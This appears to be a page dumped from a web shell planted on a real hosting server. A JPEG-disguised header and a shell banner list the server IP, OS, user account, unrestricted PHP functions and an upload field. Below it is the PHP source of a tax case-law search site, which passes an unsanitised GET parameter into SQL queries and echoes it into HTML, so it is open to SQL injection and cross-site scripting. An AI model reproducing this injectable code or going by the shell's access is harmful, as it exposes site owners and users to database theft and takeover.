ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/home/./taxhyuvu/././././www/ |
Upload File : |
<?php $id=$_GET['tax'];
?>
<?php include "head.php";
include "admin/db.php";
$p2="SELECT * FROM `cases` WHERE `Catag`= '$id' ORDER BY `Year` DESC;";
$power = mysqli_query($con,$p2);
?>
<Style>
.form-control:focus {
color: #212529;
background-color: #fff;
border-color: #b7d0f5;
outline: 0;
box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}
.btn-primary{ background: #009bad;
border: #0a9eb0;}
.btn:hover {
color: var(--bs-btn-hover-color);
background-color: #98a0a4;
border-color: #98a0a4;
}
.head{width: 100%;height: 200px;
background-color: #ebebebf7;}
.head img{width: 300px;}
.img1st{margin: 0% 37%;
padding-top: 62px;}
td{text-align: justify;
}
th{text-align: center; color: #666666;
}
.filters input{ display: none;}
</Style>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-select@1.13.14/dist/css/bootstrap-select.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap-select@1.13.14/dist/js/bootstrap-select.min.js"></script>
<!-- (Optional) Latest compiled and minified JavaScript translation files -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap-select@1.13.14/dist/js/i18n/defaults-*.min.js"></script>
// <?php
// if("$id" === 'income tax' ){
// }elseif("$id" === 'Sales Tax'){
// $idd = "Sales Tax";
// }
// elseif("$id" === 'Sales Tax on Services'){
// $idd = "Sales Tax on Services";
// }
?>
<meta name="description" content="You may search <?php echo $id ?> case laws or important paras of judgments; Topic-wise, Court-wise, and Year-wise; as shown in the table below">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="keywords" content="<?php echo $id ?>,case,law,pdt,tax,court,year,topic">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://cdn.datatables.net/1.12.1/css/jquery.dataTables.min.css">
<link rel="stylesheet" href="https://cd.datatables.net/fixedheader/3.2.3/css/fixedHeader.dataTables.min.css">
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script src="https://cdn.datatables.net/1.12.1/js/jquery.dataTables.min.js"></script>
<script src="https://cd.datatables.net/fixedheader/3.2.3/js/dataTables.fixedHeader.min.js"></script>
<script src="java.js"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Lora&display=swap" rel="stylesheet">
<title> <?php echo $id ?> Case Laws by Topic, Court, or Year</title>
<style>#example_filter{display: none;}</style>
</head>
<style>#yearpower, #yearpower input{width:100%;}
.powerpeti input{width: 100%;}
.table{overflow-y: hidden,}
body{overflow-y: hidden,}
th,td{width:auto !important; text-align: center;
border: 1px solid #d9d9d9; font-family: 'Yantramanav', sans-serif; }
th{ text-align: center !important;}
table.dataTable {
width: 100% !important;}
{font-family:none;}
h1{ padding-bottom: 1%; color: #04a3b4; padding-top: 3.5%; text-transform: capitalize; text-align:center; font-family: 'Roboto Slab', serif;}
table{font-family: 'Lora', serif;}
th input{outline: blue;
border-radius: 3px !important;
border: gray 0.5px solid!important;}
</style>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Yantramanav&display=swap" rel="stylesheet">
<body>
<div class="container-fluid" >
<h1><?php echo$id;?> (<span style="color: #777777;">Case Laws</span>) </h1>
<div class="row">
<div class="col-xxl-2 col-xl-2 col-lg-2 col-md-2">
<label for="">Court : </label>
<select id="court" style="width:100%" class="form-control selectpicker" data-live-search="true">
<option value="" >- Select -</option>
<?php
$C="SELECT * FROM `pluss`";
$cp=mysqli_query($con,$C);
foreach ($cp as $c ){ ?>
<option value="<?php echo $c['Court'];?>"><?php echo $c['Court'];?></option>
<?php } ?>
</select></div>
<div class="col-md-1"> <label for="">Year : </label>
<select id="year" style="width:100%" class="form-control selectpicker" data-live-search="true">
<option value="">- Select -</option>
<?php $y="SELECT DISTINCT Year FROM cases ORDER BY Year DESC ";
$yp=mysqli_query($con,$y);
foreach ($yp as $y1 ){ ?>
<option value="<?php echo $y1['Year'];?>"><?php echo $y1['Year'];?></option>
<?php } ?>
</select></div>
<div class="col-md-3"> <label for="" style="margin-bottom: 4px;">Petitioner : </label>
<input id="peti" style="width:100%" class="form-control" data-live-search="true" placeholder="- Search -">
</select></div>
<div class="col-md-2"> <label for="" style="margin-bottom: 4px;">law /Section : </label>
<input id="law" style="width:100%" class="form-control" data-live-search="true" placeholder="- Search -">
</select></div>
<div class="col-md-2"> <label for="" style="margin-bottom: 4px;">Topic : </label>
<input placeholder=" - Search - " list="cityname" id="top" style="width:100%" class="form-control selectpicker" data-live-search="true">
<datalist id="cityname" style="background:red;">
<option value="">- Select -</option>
<?php $y="SELECT DISTINCT Topic FROM cases WHERE `Catag` = '$id'";
$yp=mysqli_query($con,$y);
foreach ($yp as $y1 ){ ?>
<option value="<?php echo $y1['Topic'];?>"><?php echo $y1['Topic'];?></option>
<?php } ?>
</datalist></div>
<div class="col-md-2"> <label style="margin-bottom: 4px;" for="">Citation/Ref : </label>
<input placeholder=" - Search - " list="cityname1" id="judgment" style="width:100%" class="form-control selectpicker" data-live-search="true">
<datalist id="cityname1" style="background:red;">
<option value="">- Select -</option>
<?php $y="SELECT DISTINCT Judgment FROM cases WHERE `Catag` = '$id'";
$yp=mysqli_query($con,$y);
foreach ($yp as $y1 ){ ?>
<option value="<?php echo $y1['Judgment'];?>"><?php echo $y1['Judgment'];?></option>
<?php } ?>
</datalist></div>
</div>
<script>
$(document).ready(function () {
var oTable = $('#example').dataTable();
$('input#judgment').change( function () { oTable.fnFilter( this.value, 6 ); });
$('input#top').change( function () { oTable.fnFilter( this.value, 4 ); });
$('input#law').change( function () { oTable.fnFilter( this.value, 3 ); });
$('input#peti').change( function () { oTable.fnFilter( this.value, 2 ); });
$('select#year').change( function () { oTable.fnFilter( this.value, 1 ); } );
$('select#court').change( function () { oTable.fnFilter( this.value, 0 ); });
});
</script>
<script>
$(function() {
$('.selectpicker').selectpicker();
});
</script>
<table id="example" class="display" >
<thead>
<tr>
<th class="powerpeti">Court </th>
<th id="yearpower">Year</th>
<th class="powerpeti">Petitioner</th>
<th class="powerpeti">Law/Section</th>
<th class="powerpeti">Topic</th>
<th class="powerpeti">Case Law </th>
<th class="powerpeti">Citation/Ref.</th>
<th id="viewpower">View</th>
</tr>
</thead>
<tbody>
<?php foreach ($power as $k) { ?>
<tr>
<td><?php echo $k['Court']; ?></td>
<td><?php echo $k['Year']; ?></td>
<td class="">
<?php echo $k['Vs1']; ?><br>
<span style="font-weight:900;"></span><b>VS</b><br>
<?php echo $k['Vs2']; ?>
</td>
<td>
<?php echo $k['Law'] . ' ' . $k['Sections']; ?>
</td>
<td><?php echo $k['Topic']; ?></td>
<td style="text-align: justify;">
<p style="text-align: justify;">
<?php
$desc = $k['Para'];
$StrCut = substr($desc, 0, 270);
$desc = substr($StrCut, 0, strrpos($StrCut, ' ')) . "<a href='viewreport?id=$k[ID]'> Read More...</a>";
echo $desc;
?>
</p>
</td>
<td><br><b><?php echo $fr= $k['Judgment']; ?></b>
<?php $TAX=$k['TAX'];
if ($TAX =="") {
}else{ echo "<br>$TAX";}
?>
<?php $PTCL=$k['PTCL'];
if ($PTCL =="") {
}else{ echo "<br>$PTCL";}
?>
<?php $SCMR=$k['SCMR'];
if ($SCMR =="") {
}else{ echo "<br>$SCMR";}
?>
<?php $PLD=$k['PLD'];
if ($PLD =="") {
}else{ echo "<br>$PLD";}
?>
<?php $PDS=$k['PDS'];
if ($PDS =="") {
}else{ echo "<br>$PDS";}
?>
</td>
<td><a href="viewreport?id=<?php echo $k['ID']; ?>">
<button class="btn btn-primary" style="width: 100%; height: 100%;">View</button>
</a></td>
</tr>
<?php } ?>
</tbody>
<!-- <tfoot>
<tr>
<th>Court </th>
<th>Year</th>
<th>Petitioner</th>
<th>Section</th>
<th>Citation/Ref.</th>
<th>View</th>
</tr>
</tfoot> -->
</table>
</div>
</body>
</html>